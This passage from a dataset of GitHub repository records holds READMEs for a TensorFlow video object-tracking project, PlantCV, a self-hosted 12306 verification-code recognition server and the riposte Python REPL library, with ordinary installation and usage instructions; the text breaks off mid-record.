"DrewNF/Tensorflow_Object_Tracking_Video", "link": "https://github.com/DrewNF/Tensorflow_Object_Tracking_Video", "tags": ["detection", "video", "yolo", "tensorflow", "inception", "imagenet", "object-detection", "classification", "tensorbox", "dataset"], "stars": 506, "description": "Object Tracking in Tensorflow ( Localization Detection Classification ) developed to partecipate to ImageNET VID competition", "lang": "Python", "repo_lang": "", "readme": "# Tensorflow_Object_Tracking_Video\n\n(Version 0.3, Last Update 10-03-2017)\n\n![alt text](images/UPC_logo.png \"Logo Title Text 1\")\n![alt text](images/BSC_logo.png \"Logo Title Text 1\")\n![alt text](images/IGP_logo.png  \"Logo Title Text 1\")\n![alt text](images/POLITO_logo.png  \"Logo Title Text 1\")\n\nThe Project follow the below **index**:\n\n1. **[Introduction](#1introduction);**\n2. **[Requitements & Installation](#2requirement--installation);**\n3. **[YOLO Script Usage](#3yolo-script-usage)**\n      1. **[Setting Parameters](#isetting-parameters);**\n      2. **[Usage](#iiusage).**\n4. **[VID TENSORBOX Script Usage](#4vid-tensorbox-script-usage)**\n      1. **[Setting Parameters](#isetting-parameters-2);**\n      2. **[Usage](#iiusage-2).**\n5. **[TENSORBOX Tests Files](#5tensorbox-tests);**\n6. **[Dataset Scripts](#6dataset-script);**\n7. **[Copyright](#7copyright);**\n8. **[State of the Project](#8state-of-the-project).**\n9. **[DOWNLOADS](#9downloads).**\n10. **[Acknowledgements](#10acknowledgements).**\n11. **[Bibliography](#11bibliography).**\n\n\n## 1.Introduction\n\nThis Repository is my Master Thesis Project: \"Develop a Video Object Tracking with Tensorflow Technology\" \nand it's still developing, so many updates will be made.\nIn this work, I used the architecture and problem solving strategy of the Paper T-CNN([Arxiv](http://arxiv.org/abs/1604.02532)), that won last year [IMAGENET 2015](http://image-net.org/) [Teaser Challenge VID](http://image-net.org/challenges/LSVRC/2015/results).\nSo the whole script architecture will be made of several component in cascade:\n  1. Still Image Detection (Return Tracking Results on single Frame);\n  2. Temporal Information Detection( Introducing Temporal Information into the DET Results);\n  3. Context Information Detection( Introducing Context Information into the DET Results);\n\n> Notice that the Still Image Detection component could be unique or decompose into two sub-component:\n>  1. First: determinate \"Where\" in the Frame;\n>  2. Second: determinate \"What\" in the Frame.\n\nMy project use many online tensorflow projects, as: \n  - [YOLO Tensorflow](https://github.com/gliese581gg/YOLO_tensorflow);\n  - [TensorBox](https://github.com/Russell91/TensorBox).\n  - [Inception](https://github.com/tensorflow/models/tree/master/inception).\n\n## 2.Requirement & Installation\nTo install the script you only need to download the Repository.\nTo Run the script you have to had installed:\n  - Tensorflow;\n  - OpenCV;\n  - Python;\n\nAll the Python library necessary could be installed easily trought pip install package-name.\nIf you want to follow a guide to install the requirements here is the link for a [tutorial](https://github.com/DrewNF/Build-Deep-Learning-Env-with-Tensorflow-Python-OpenCV) I wrote for myself and for a course of Deep Learning at UPC.\n\n## 3.YOLO Script Usage\nYou only look once (YOLO) is a state-of-the-art, real-time object detection system.## i.Setting Parameters\n  This are the inline terminal argmunts taken from the script, most of them aren't required, only the video path **must** be specified when we call the script:\n        \n  ```python      \n    parser = argparse.ArgumentParser()\n    parser.add_argument('--det_frames_folder', default='det_frames/', type=str)\n    parser.add_argument('--det_result_folder', default='det_results/', type=str)\n    parser.add_argument('--result_folder', default='summary_result/', type=str)\n    parser.add_argument('--summary_file', default='results.txt', type=str)\n    parser.add_argument('--output_name', default='output.mp4', type=str)\n    parser.add_argument('--perc', default=5, type=int)\n    parser.add_argument('--path_video', required=True, type=str)\n  ```\n  \n  Now you have to download the [weights](https://drive.google.com/file/d/0B2JbaJSrWLpza08yS2FSUnV2dlE/view?usp=sharing ) for YOLO and put them into /YOLO_DET_Alg/weights/.\n  \n  For YOLO knowledge [here](http://pjreddie.com/darknet/yolo/) you can find Original code(C implementation) & paper.\n  \n### ii.Usage\n  After Set the Parameters, we can proceed and run the script:\n  \n  ```python\n    python VID_yolo.py --path_video video.mp4\n  ```\nYou will see some Terminal Output like:\n\n![alt tag](images/terminal_output_run.png)\n\nYou will see a realtime frames output(like the one here below) and then finally all will be embedded into the Video Output( I uploaded the first two Test I've made in the folder /video_result, you can download them and take a look to the final result.\nThe first one has problems in the frames order, this is why you will see so much flickering in the video image,the problem was then solved and in the second doesn't show frames flickering ):\n\n![alt tag](images/DET_frame_example.jpg)\n\n## 4.VID TENSORBOX Script Usage\n### i.Setting Parameters\n  This are the inline terminal argmunts taken from the script, most of them aren't required.\n  As before, only the video path **must** be specified when we call the script:\n        \n  ```python      \n    parser.add_argument('--output_name', default='output.mp4', type=str)\n    parser.add_argument('--hypes', default='./hypes/overfeat_rezoom.json', type=str)\n    parser.add_argument('--weights', default='./output/save.ckpt-1090000', type=str)\n    parser.add_argument('--perc', default=2, type=int)\n    parser.add_argument('--path_video', required=True, type=str)\n  ```\n  I will soon put a weight file to download.\n  For train and spec on the multiclass implementation I will add them after the end of my thesis project.\n  \n### ii.Usage\n  \n  Download the .zip files linked in the Download section and replace the folders.\n      \n  Then, after set the parameters, we can proceed and run the script:\n  \n  ```python\n    python VID_tensorbox_multi_class.py --path_video video.mp4\n  ```  \n\n## 5.Tensorbox Tests\n  In the folder video_result_OVT you can find files result of the runs of the VID TENSOBOX scripts.\n  \n## 6.Dataset Scripts\n  All the scripts below are for the VID classes so if you wonna adapt them for other you have to simply change the Classes.py file where are defined the correspondencies between codes and names. All the data on the image are made respect a specific Image Ratio, because TENSORBOX works only with 640x480 PNG images, you will have to change the code a little to adapt to your needs.\n  I will provide four scripts:\n  1. **Process_Dataset_heavy.py**: Process your dataset with a brute force approach, you will obtain more bbox and files for each class;\n  2. **Process_Dataset_lightweight.py**: Process your dataset with a lightweight approach making, you will obtain less bbox and files for each class;\n  3. **Resize_Dataset.py**: Resize your dataset to 640x480 PNG images;\n  4. **Test_Processed_Data.py**: Will test that the process end well without errors.\n\nI've also add some file scripts to pre process and prepare the dataset to train the last component, the Inception Model, you can find them in a subfolder of the dataset script folder.\n\n## 7.Copyright\n\nAccording to the LICENSE file of the original code,\n\n  - Me and original author hold no liability for any damages;\n  - Do not use this on commercial!.\n\n## 8.State of the Project\n\n  - Support YOLO (SingleClass) DET Algorithm;\n  - Support Training **ONLY TENSOBOX and INCEPTION Training**;\n  - **USE OF TEMPORAL INFORMATION** [This are retrieved through some post processing algorithm I've implemented in the Utils_Video.py file **NOT TRAINABLE**];\n  - Modular Architecture composed in cascade by: Tensorbox (as General Object Detector), Tracker and Smoother and Inception (as Object Classifier);\n  \n ## 9.Downloads\n \n Here below the links of the weights file for Inception and Tensorbox from my retraining experiments:\n - [INCEPTION](https://mega.nz/#!rtkD2TzA!iDoBGzAFC69b8VE2wlJOoRg7kJ6XnayMcagrzidZGxw)\n - [TENSORBOX](https://mega.nz/#!WpdSUArZ!8-E3YIvpfBHUoBc1QGDyiWA0CKbIXxOyVqJWMeSE6-g)\n \n  ## 10.Acknowledgements\n  \n  Thanks to Professors:\n  \n  - **Elena Baralis** from Politecnico di Torino Dipartimento di Automatica e Informatica;\n  - **Jordi Torres** from BSC Department of Computer Science;\n  - **Xavi Giro \u201dI\u201d Nieto** from UPC Department of Image Processing.\n  \n  ## 11.Bibliography\n  ### i.Course\n  - [Deep Learning for Computer Vision Barcelona](http://imatge-upc.github.io/telecombcn-2016-dlcv/)\n  - [Build Deep Learning Env with Tensorflow Python OpenCV](https://github.com/DrewNF/Build-Deep-Learning-Env-with-Tensorflow-Python-OpenCV)\n  ### ii.Classification\n  - [ Alex Krizhevsky, Ilya Sutskever, and Geoffrey E. Hinton. \u201cImageNet Classification  with  Deep  Convolutional  Neural  Networks\u201d.](https://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks)\n  - [Christian Szegedy et al. \u201cGoing Deeper with Convolutions\u201d.](https://arxiv.org/abs/1409.4842)\n  - [Christian Szegedy et al. \u201cRethinking the Inception Architecture for ComputerVision\u201d.](https://arxiv.org/abs/1512.00567)\n  - [Kaiming  He  et  al.  \u201cDelving  Deep  into  Rectifiers:  Surpassing  Human-LevelPerformance on ImageNet Classification\u201d. ](https://arxiv.org/abs/1502.01852)\n  ### iii.Detection\n  - [Russell  Stewart  and  Mykhaylo  Andriluka.  \u201cEnd-to-end  people  detection  incrowded scenes\u201d.](https://arxiv.org/abs/1506.04878)\n  - [Pierre  Sermanet  et  al.  \u201cOverFeat:  Integrated  Recognition,  Localization  andDetection  using  Convolutional  Networks\u201d.](https://arxiv.org/abs/1312.6229)\n  - [S. Ren et al. \u201cFaster R-CNN: Towards Real-Time Object Detection with Region Proposal Networks\u201d.](https://arxiv.org/abs/1506.01497)\n  ### iv.Tracking\n  - [Dinesh Jayaraman and Kristen Grauman. \u201cSlow and Steady Feature Analy-sis: Higher Order Temporal Coherence in Video\u201d.](https://arxiv.org/abs/1506.04714) \n  - [K.  Kang  et  al.  \u201cT-CNN:  Tubelets  with  Convolutional  Neural  Networks  forObject Detection from Videos\u201d.](https://arxiv.org/abs/1604.02532)\n  - [ W. Han et al. \u201cSeq-NMS for Video Object Detection\u201d.](https://arxiv.org/abs/1602.08465)\n  -[J. Redmon et al. \u201cYou Only Look Once: Unified, Real-Time Object Detection\u201d](https://arxiv.org/abs/1506.02640)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "pageauc/pi-timolo", "link": "https://github.com/pageauc/pi-timolo", "tags": ["opencv", "pi-camera", "python", "lowlight", "timelapse", "pi-timolo", "video", "ssh", "curl", "webserver", "makevideo", "security", "plugins", "raspberry-pi", "motion-tracking", "web-server", "raspberry-pi-camera", "whiptail-menu", "awesome-list", "rclone"], "stars": 506, "description": "Raspberry PI-TIMOLO ( PI-TImelapse, MOtion, LOwLight ) uses RPI picamera and OpenCV for Remote Headless Security Monitoring using Motion Tracking, Rclone Auto Sync files with remote storage services. Auto Twilight Transitions and Low Light Camera Settings.  Panoramic images using PanTiltHat and More. This project is featured on GitHub Awesome software.", "lang": "Python", "repo_lang": "", "readme": "", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "danforthcenter/plantcv", "link": "https://github.com/danforthcenter/plantcv", "tags": ["science", "bioinformatics", "image-analysis", "plant-phenotyping", "plantcv"], "stars": 506, "description": "Plant phenotyping with image analysis", "lang": "Python", "repo_lang": "", "readme": "![builds](https://github.com/danforthcenter/plantcv/workflows/builds/badge.svg)\n[![codecov](https://codecov.io/gh/danforthcenter/plantcv/branch/main/graph/badge.svg)](https://codecov.io/gh/danforthcenter/plantcv)\n[![Documentation Status](http://readthedocs.org/projects/plantcv/badge/?version=latest)](http://plantcv.readthedocs.io/en/latest/?badge=latest)\n[![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/danforthcenter/plantcv-binder.git/master?filepath=index.ipynb)\n[![Docker Pulls](https://img.shields.io/docker/pulls/danforthcenter/plantcv.svg)](https://hub.docker.com/r/danforthcenter/plantcv/)\n[![GitHub release](https://img.shields.io/github/release/danforthcenter/plantcv.svg)](https://github.com/danforthcenter/plantcv/releases)\n[![PyPI version](https://badge.fury.io/py/plantcv.svg)](https://badge.fury.io/py/plantcv)\n![Conda](https://img.shields.io/conda/v/conda-forge/plantcv)\n[![license](https://img.shields.io/github/license/danforthcenter/plantcv.svg)](https://github.com/danforthcenter/plantcv/blob/main/LICENSE)\n[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-2.1-4baaaa.svg)](docs/CODE_OF_CONDUCT.md)\n\n# PlantCV: Plant phenotyping using computer vision\n\nPlease use, cite, and [contribute to](http://plantcv.readthedocs.io/en/latest/CONTRIBUTING/) PlantCV!\nIf you have questions, please submit them via the\n[GitHub issues page](https://github.com/danforthcenter/plantcv/issues).\nFollow us on twitter [@plantcv](https://twitter.com/plantcv).\n\n***\n\n## Introduction to PlantCV\n\nPlantCV is an open-source image analysis software package targeted for plant phenotyping. PlantCV provides a common\nprogramming and documentation interface to a collection of image analysis techniques that are integrated from a variety\nof source packages and algorithms. PlantCV utilizes a modular architecture that enables flexibility in the design of\nanalysis workflows and rapid assimilation and integration of new methods. For more information about the project,\nlinks to recorded presentations, and publications using PlantCV, please visit our homepage: \n<https://plantcv.danforthcenter.org/>.\n\n### Quick Links\n\n* [Documentation](http://plantcv.readthedocs.io/)\n* [Interactive Documentation](https://mybinder.org/v2/gh/danforthcenter/plantcv-binder.git/master?filepath=index.ipynb)\n* [Installation Instructions](https://plantcv.readthedocs.io/en/stable/installation/)\n* [Updating/Changelog](https://plantcv.readthedocs.io/en/stable/updating/)\n* [Public Image Datasets](http://plantcv.danforthcenter.org/pages/data.html)\n* [Contribution Guide](https://plantcv.readthedocs.io/en/stable/CONTRIBUTING/)\n* [Code of Conduct](https://plantcv.readthedocs.io/en/stable/CODE_OF_CONDUCT/)\n* Downloads\n  * [GitHub](https://github.com/danforthcenter/plantcv)\n  * [PyPI](https://pypi.org/project/plantcv/)\n  * [Conda-forge](https://anaconda.org/conda-forge/plantcv)\n  * [Docker](https://hub.docker.com/r/danforthcenter/plantcv)\n  * [Zenodo](https://doi.org/10.5281/zenodo.595522)\n\n### Citing PlantCV\n\nIf you use PlantCV, please cite the [PlantCV publications](https://plantcv.danforthcenter.org/#plantcv-publications)\nrelevant to your work. To see how others have used PlantCV in their research, check out our list of \n[publications using PlantCV](https://plantcv.danforthcenter.org/#publications-using-plantcv).\n\n***\n\n## Issues with PlantCV\n\nPlease file any PlantCV suggestions/issues/bugs via our \n[GitHub issues page](https://github.com/danforthcenter/plantcv/issues). Please check to see if any related \nissues have already been filed.\n\n***\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "YinAoXiong/12306_code_server", "link": "https://github.com/YinAoXiong/12306_code_server", "tags": ["docker", "python", "tensorflow", "12306"], "stars": 506, "description": "\u8be5\u4ed3\u5e93\u7528\u4e8e\u6784\u5efa\u81ea\u6258\u7ba1\u768412306\u9a8c\u8bc1\u7801\u8bc6\u522b\u670d\u52a1\u5668", "lang": "Python", "repo_lang": "", "readme": "# 12306\u9a8c\u8bc1\u7801\u8bc6\u522b\u670d\u52a1\u5668\r\n\r\n[![Uptime Robot status](https://img.shields.io/uptimerobot/status/m783635180-ab3d4772f147c2a3b92f8fe5)](https://stats.uptimerobot.com/oyKyLhjJQ/783635180) [![Uptime Robot ratio (30 days)](https://img.shields.io/uptimerobot/ratio/m783635180-ab3d4772f147c2a3b92f8fe5)](https://stats.uptimerobot.com/oyKyLhjJQ/783635180) [![Build Status](https://travis-ci.org/YinAoXiong/12306_code_server.svg?branch=master)](https://travis-ci.org/YinAoXiong/12306_code_server) [![Docker Pulls](https://img.shields.io/docker/pulls/yinaoxiong/12306_code_server)](https://hub.docker.com/r/yinaoxiong/12306_code_server)\r\n\r\n\u8be5\u9879\u76ee\u7528\u4e8e\u6784\u5efa\u81ea\u6258\u7ba1\u768412306\u9a8c\u8bc1\u7801\u8bc6\u522b\u670d\u52a1\u5668\uff0c\u672c\u9879\u76ee\u7684\u5168\u90e8\u6a21\u578b\u548c\u90e8\u5206\u4ee3\u7801\u6765\u81ea\u4e8e\u6b64\u9879\u76ee [easy12306](https://github.com/zhaipro/easy12306)\uff0c\u4f7f\u7528\u8be5\u9879\u76ee\u6784\u5efa\u7684api\u7b26\u5408 [12306\u8d2d\u7968\u5c0f\u52a9\u624b](https://github.com/testerSunshine/12306)\u4e91\u6253\u7801\u683c\u5f0f\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u3002\r\n\r\n\u63d0\u4f9b\u4e00\u4e2a\u90e8\u7f72\u597d\u7684\u7ebf\u4e0a\u7248\u672c, [https://12306.yinaoxiong.cn](https://12306.yinaoxiong.cn/),\u90e8\u7f72\u5728\u817e\u8baf\u4e911\u68381G\u7684\u5b66\u751f\u673a\u4e0a\u4e0d\u4fdd\u8bc1\u53ef\u7528\u6027,\u670d\u52a1\u72b6\u6001\u53ef\u4ee5\u901a\u8fc7 [https://stats.uptimerobot.com/oyKyLhjJQ/783635180](https://stats.uptimerobot.com/oyKyLhjJQ/783635180)\u67e5\u770b.\r\n\r\n\r\n\r\n## \u63a5\u53e3\u89c4\u8303\r\n\r\n### \u8bf7\u6c42\r\n\r\n- Method: **POST**\r\n- URL:  ```/verify/base64/```\r\n- Headers: Content-Type: application/x-www-form-urlencoded\r\n- Body: \r\n  imageFile=>Base64 encoding of the image\r\n\r\n### \u54cd\u5e94\r\n\r\n- Headers\uff1aContent-Type:application/json\r\n- Body\uff1a\r\n\r\n```json\r\n{\r\n    \"code\": 0,\r\n    \"data\": [\r\n        \"1\",  //\u7b54\u6848\u56fe\u7247\u7684\u7f16\u53f7\u6570\u7ec4\r\n        \"3\"\r\n    ],\r\n    \"massage\": \"\u8bc6\u522b\u6210\u529f\"\r\n}\r\n{\r\n    \"code\": 1,\r\n    \"data\": [\r\n    ],\r\n    \"massage\": \"\u8bc6\u522b\u5931\u8d25\"\r\n}\r\n```\r\n\r\n\r\n\r\n## python\u7248\u672c\u652f\u6301\r\n\r\n- [x] 3.5-3.7\r\n\r\n## \u5e73\u53f0\u652f\u6301\r\n\r\n- [x] amd64\r\n- [x] arm64v8\r\n- [x] arm32v7\r\n\r\n\u5176\u4e2darm\u5e73\u53f0\u5efa\u8bae\u901a\u8fc7docker\u8fd0\u884c\r\n\r\n## \u90e8\u7f72\r\n\r\n### docker\u90e8\u7f72(\u63a8\u8350)\r\n\r\n\u4f7f\u7528docker\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u5feb\u901f\u90e8\u7f72:\r\n\r\n\r\n  ```shell\r\n  docker run -d -p 8080:80 --name 12306 yinaoxiong/12306_code_server\r\n  ```\r\n\r\n### docker-compose\u90e8\u7f72(\u63a8\u8350)\r\n\r\n\r\n```yaml\r\nversion: \"3\"\r\n\r\nservices:\r\n  code_12306:\r\n    image: yinaoxiong/12306_code_server\r\n    ports:\r\n      - 5002:80 #\u53ef\u4ee5\u6839\u636e\u9700\u8981\u4fee\u6539\u7aef\u53e3\r\n    environment:\r\n      - WORKERS=1 #gunicorn works \u9ed8\u8ba4\u4e3a1\u53ef\u4ee5\u6839\u636e\u670d\u52a1\u5668\u914d\u7f6e\u81ea\u884c\u8c03\u6574\r\n    restart: always\r\n  \r\n```\r\n\r\n### \u901a\u8fc7\u6e90\u7801\u90e8\u7f72\r\n\r\n1. \u514b\u9686\u5e76\u8fdb\u5165\u9879\u76ee\r\n\r\n   ```shell\r\n   git clone https://github.com/YinAoXiong/12306_code_server.git\r\n   cd 12306_code_server\r\n   ```\r\n\r\n2. \u5b89\u88c5\u4f9d\u8d56 \u81ea\u884c\u6839\u636e\u5e73\u53f0\u548cpython\u9009\u62e9\u5bf9\u5e94\u7684tflite\uff08\u4e0b\u9762\u7684\u4f8b\u5b50\u4e3aamd64\uff0cpython3.7\uff0c\u5176\u4ed6\u60c5\u51b5\u5bf9\u5e94\u7684\u4e0b\u8f7d\u5730\u5740\u89c1 [https://www.tensorflow.org/lite/guide/python](https://www.tensorflow.org/lite/guide/python)\uff0c\u53ef\u81ea\u884c\u5728requirements.txt\u4e2d\u66ff\u6362\uff09\r\n\r\n   ```shell\r\n   pip3 install -r requirements.txt\r\n   ```\r\n\r\n3. \u4e0b\u8f7d\u6a21\u578b\u6587\u4ef6\r\n\r\n    ```shell\r\n    bash download_model.sh\r\n    ```\r\n    \u4eceGitHub\u4e0b\u8f7d\u6162\u7684\u8bdd\u53ef\u4ee5\u9009\u62e9\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\r\n\r\n    ```shell\r\n    wget -c https://cdn.yinaoxiong.cn/models/image.model.tflite\r\n    wget -c https://cdn.yinaoxiong.cn/models/text.model.tflite\r\n    ```\r\n\r\n4. \u8fd0\u884c \u9ed8\u8ba4workers\u4e3a1\uff0c\u4f7f\u752880\u7aef\u53e3\uff0c\u53ef\u4ee5\u81ea\u884c\u4fee\u6539 gunicorn.conf\r\n\r\n   ```shell\r\n   gunicorn app:app -c gunicorn.conf.py\r\n   ```\r\n\r\n\u4e0d\u63a8\u8350\u5728arm\u5e73\u53f0\u4e0a\u4f7f\u7528\u6e90\u7801\u90e8\u7f72,\u4f9d\u8d56\u5b89\u88c5\u6709\u4e9b\u9ebb\u70e6.\r\n\r\n## \u81f4\u8c22\r\n\r\n- [easy12306](https://github.com/zhaipro/easy12306) \u63d0\u4f9b\u9879\u76ee\u8fd0\u884c\u7684model\r\n-  [12306\u8d2d\u7968\u5c0f\u52a9\u624b](https://github.com/testerSunshine/12306)\u6e90\u4e8e\u8be5\u9879\u76ee\u7684\u4e00\u4e2aissue\r\n- ~~[tensorflow-on-arm](https://github.com/lhelontra/tensorflow-on-arm)\u63d0\u4f9barm\u4e0a\u8fd0\u884c\u7684tensorflow python\u5305~~ v1.1\u7248\u672c\u540e\u5f00\u59cb\u4f7f\u7528tflite\u800c\u975ekeras\r\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "fwkz/riposte", "link": "https://github.com/fwkz/riposte", "tags": ["python", "package", "library", "riposte", "repl", "shell", "shell-prompt", "prompt"], "stars": 506, "description": "Python package for wrapping applications inside a tailored interactive shell", "lang": "Python", "repo_lang": "", "readme": "# riposte\n[![Build Status](https://travis-ci.org/fwkz/riposte.svg?branch=master)](https://travis-ci.org/fwkz/riposte)\n[![License](https://img.shields.io/pypi/l/riposte.svg)](https://github.com/fwkz/riposte/blob/master/LICENSE)\n[![Version](https://img.shields.io/pypi/v/riposte.svg)](https://pypi.org/project/riposte/)\n[![Python](https://img.shields.io/pypi/pyversions/riposte.svg)](https://pypi.org/project/riposte/)\n[![Code Style](https://img.shields.io/badge/codestyle-black-black.svg)](https://github.com/ambv/black)\n\n_Riposte_ allows you to easily wrap your application inside a tailored \ninteractive shell. Common chores regarding building REPLs was factored out and \nbeing taken care of so you can really focus on specific domain logic of your \napplication.\n\nThe motivation for building _Riposte_ coming from many sleepless nights of \nhandling numerous tricky cases regarding REPLs during \n[routersploit](https://github.com/threat9/routersploit) development. Like \nevery other project it began very innocently but after a while, when the project \ngot some real traction and code base was rapidly growing, shell logic started \nto intertwine with domain logic making things less and less readable and \ncontributor friendly.\n\nMoreover, to our surprise, people started to fork \n[routersploit](https://github.com/threat9/routersploit) not because they were \ninterested in the security of embedded devices but simply because they want to \nleverage our interactive shell logic and build their own tools using similar \nconcept. All these years they must have said: _\"There must be a better way!\"_ \nand they were completely right, the better way is called _Riposte_.\n\n## Table of contents\n* [Getting started](#getting-started)\n    * [Installing](#installing)\n    * [Example usage](#example-usage)\n* [Manual](#manual)\n    * [Command](#command)\n    * [Completer](#completer)\n    * [Guides](#guides)\n    * [Printing](#printing)\n    * [History](#history)\n    * [Prompt](#Prompt)\n    * [Banner](#Banner)\n    * [Inline command execution](#Inline-command-execution)\n    * [CLI](#CLI)\n    * [Input streams](#input-streams)\n* [Project status](#project-status)\n* [Contributing](#contributing)\n* [Versioning](#versioning)\n* [License](#license)\n* [Acknowledgments](#acknowledgments)\n\n## Getting Started\n### Installing\nThe package is available on PyPI so please use \n[pip](https://pip.pypa.io/en/stable/quickstart/) to install it: \n```bash\npip install riposte\n```\nRiposte supports Python 3.6 and newer.\n\n### Example usage\n```python\nfrom riposte import Riposte\n\ncalculator = Riposte(prompt=\"calc:~$ \")\n\nMEMORY = []\n\n\n@calculator.command(\"add\")\ndef add(x: int, y: int):\n    result = f\"{x} + {y} = {x + y}\"\n    MEMORY.append(result)\n    calculator.success(result)\n\n\n@calculator.command(\"multiply\")\ndef multiply(x: int, y: int):\n    result = f\"{x} * {y} = {x * y}\"\n    MEMORY.append(result)\n    calculator.success(result)\n\n\n@calculator.command(\"memory\")\ndef memory():\n    for entry in MEMORY:\n        calculator.print(entry)\n\n\ncalculator.run()\n\n```\n\n```bash\ncalc:~$ add 2 2\n[+] 2 + 2 = 4\ncalc:~$ multiply 3 3\n[+] 3 * 3 = 9\ncalc:~$ memory\n2 + 2 = 4\n3 * 3 = 9\ncalc:~$ \n```\n\n## Manual\n### Command\nFirst and foremost you want to register some commands to make your REPL \nactionable. Adding command and bounding it with handling function is possible \nthrough `Riposte.command` decorator.\n\n```python\nfrom riposte import Riposte\n\nrepl = Riposte()\n\n@repl.command(\"hello\")\ndef hello():\n    repl.success(\"Is it me you're looking for?\")\n\nrepl.run()\n```\n```bash\nriposte:~ $ hello\n[+] Is it me you're looking for?\n```\nAdditionally `Riposte.command` accepts few optional parameters:\n* `description` few words describing command which you can later use to build \nmeaningful help \n* [`guides`](#guides) definition of how to interpret passed arguments\n\n### Completer\n`Riposte` comes with support for tab-completion for commands. You can register \ncompleter function in a similar way you registering commands, just use `Riposte.complete` \ndecorator and point it to a specific command.\n\n```python\nfrom riposte import Riposte\n\nrepl = Riposte()\n\nSTART_SUBCOMMANDS = [\"foo\", \"bar\"]\n\n\n@repl.command(\"start\")\ndef start(subcommand: str):\n    if subcommand in START_SUBCOMMANDS:\n        repl.status(f\"{subcommand} started\")\n    else:\n        repl.error(\"Unknown subcommand.\")\n\n\n@repl.complete(\"start\")\ndef start_completer(text, line, start_index, end_index):\n    \n    return [\n        subcommand\n        for subcommand in START_SUBCOMMANDS\n        if subcommand.startswith(text)\n    ]\n\n\nrepl.run()\n\n```\nCompleter function is triggered by the TAB key. Every completer function should \nreturn list of valid options and should accept the following parameters:\n* `text` last word in the line\n* `line` content of the whole line\n* `start_index` starting index of the last word in the line\n* `end_index` ending index of the last word in the line\n\nSo in the case of our example:\n\n`riposte:~ $ start ba<TAB>`\n\n```\ntext -> \"ba\"\nline -> \"start ba\"\nstart_index -> 6\nend_index -> 8\n```\nEquipped with this information you can build your custom completer functions for \nevery command.\n\n### Guides\nGuides is a way of saying how [command](#command) should interpret arguments \npassed by the user via prompt. `Riposte` rely on \n[type-hints](https://docs.python.org/3/library/typing.html) in order to do that.\n```python\nfrom riposte import Riposte\n\nrepl = Riposte()\n\n@repl.command(\"guideme\")\ndef guideme(x: int, y: str):\n    repl.print(\"x:\", x, type(x))\n    repl.print(\"y:\", y, type(y))\n\nrepl.run()\n```\n```bash\nriposte:~ $ guideme 1 1\nx: 1 <class 'int'>\ny: 1 <class 'str'>\n```\nIn both cases we've passed value _1_ as `x` and `y`. Based on \nparameter's type-hint passed arguments was interpreted as `int` in case of `x` \nand as `str` in case of `y`. You can also use this technique for different types.\n\n```python\nfrom riposte import Riposte\n\nrepl = Riposte()\n\n@repl.command(\"guideme\")\ndef guideme(x: dict, y: list):\n    x[\"foo\"] = \"bar\"\n    repl.print(\"x:\", x, type(x))\n    \n    y.append(\"foobar\")\n    repl.print(\"y:\", y, type(y))\n\nrepl.run()\n```\n```bash\nriposte:~ $ guideme \"{'bar': 'baz'}\" \"['barbaz']\"\nx: {'bar': 'baz', 'foo': 'bar'} <class 'dict'>\ny: ['barbaz', 'foobar'] <class 'list'>\n```\nAnother more powerful way of defining guides for handling function parameters \nis defining it straight from`Riposte.command` decorator. In this case guide\ndefined this way take precedence over the type hints.\n```python\nfrom riposte import Riposte\n\nrepl = Riposte()\n\n@repl.command(\"guideme\", guides={\"x\": [int]})\ndef guideme(x):\n    repl.print(\"x:\", x, type(x))\n\nrepl.run()\n```\n```bash\nriposte:~ $ guideme 1\nx: 1 <class 'int'>\n```\nWhy it is more powerful? Because this way you can chain different guides, \nwhere output of one guide is input for another, creating validation or cast \ninput into more complex types.\n```python\nfrom collections import namedtuple\n\nfrom riposte import Riposte\nfrom riposte.exceptions import RiposteException\nfrom riposte.guides import literal\n\nrepl = Riposte()\n\n\ndef non_negative(value: int):\n    if value < 0:\n        raise RiposteException(\"Value can't be negative\")\n    \n    return value\n\n\nPoint = namedtuple(\"Point\", (\"x\", \"y\"))\n\n\ndef get_point(value: dict):\n    return Point(**value)\n\n\n@repl.command(\"guideme\",\n              guides={\"x\": [int, non_negative], \"y\": [literal, get_point]})\ndef guideme(x, y):\n    repl.print(\"x:\", x, type(x))\n    repl.print(\"y:\", y, type(y))\n\n\nrepl.run()\n\n```\n```bash\nriposte:~ $ guideme -1 '{\"x\": 1, \"y\": 2}'\n[-] Value can't be negative\nriposte:~ $ guideme 1 '{\"x\": 1, \"y\": 2}'\nx: 1 <class 'int'>\ny: Point(x=1, y=2) <class '__main__.Point'>\nriposte:~ $ \n```\nUnder the hood, it is a simple function call where the input string is passed \nto first guide function in the chain. In this case, the call looks like this:\n```python\nnon_negative(int(\"-1\"))  # guide chain for parameter `x`\nget_point(literal('{\"x\": 1, \"y\": 2}'))  # guide chain for parameter `y`\n```\n\n### Printing\n_Riposte_ comes with built-in thread safe printing methods:\n\n* `print`\n* `info`\n* `error`\n* `status`\n* `success`\n\nEvery method follows the signature of Python's built-in \n[`print()`](https://docs.python.org/3/library/functions.html#print) function. \nBesides `print` all of them provide informative coloring corresponding to its name.\n\nWe strongly encourage to stick to our thread safe printing API but if you are \nfeeling frisky, know what you are doing and you are 100% sure, that threaded \nexecution is something that will never come up at some point in the lifecycle of \nyou application feel free to use Python's built-in \n[`print()`](https://docs.python.org/3/library/functions.html#print) function. \n\n#### Extending `PrinterMixin`\nIf you want to change the styling of existing methods or add custom one, please \nextend `PrinterMixin` class.\n\n```python\nfrom riposte import Riposte\nfrom riposte.printer.mixins import PrinterMixin\n\n\nclass ExtendedPrinterMixin(PrinterMixin):\n    def success(self, *args, **kwargs):  # overwriting existing method\n        self.print(*args, **kwargs)\n    \n    def shout(self, *args, **kwargs):  # adding new one\n        self.print((*args, \"!!!\"), **kwargs)\n\nclass CustomRiposte(Riposte, 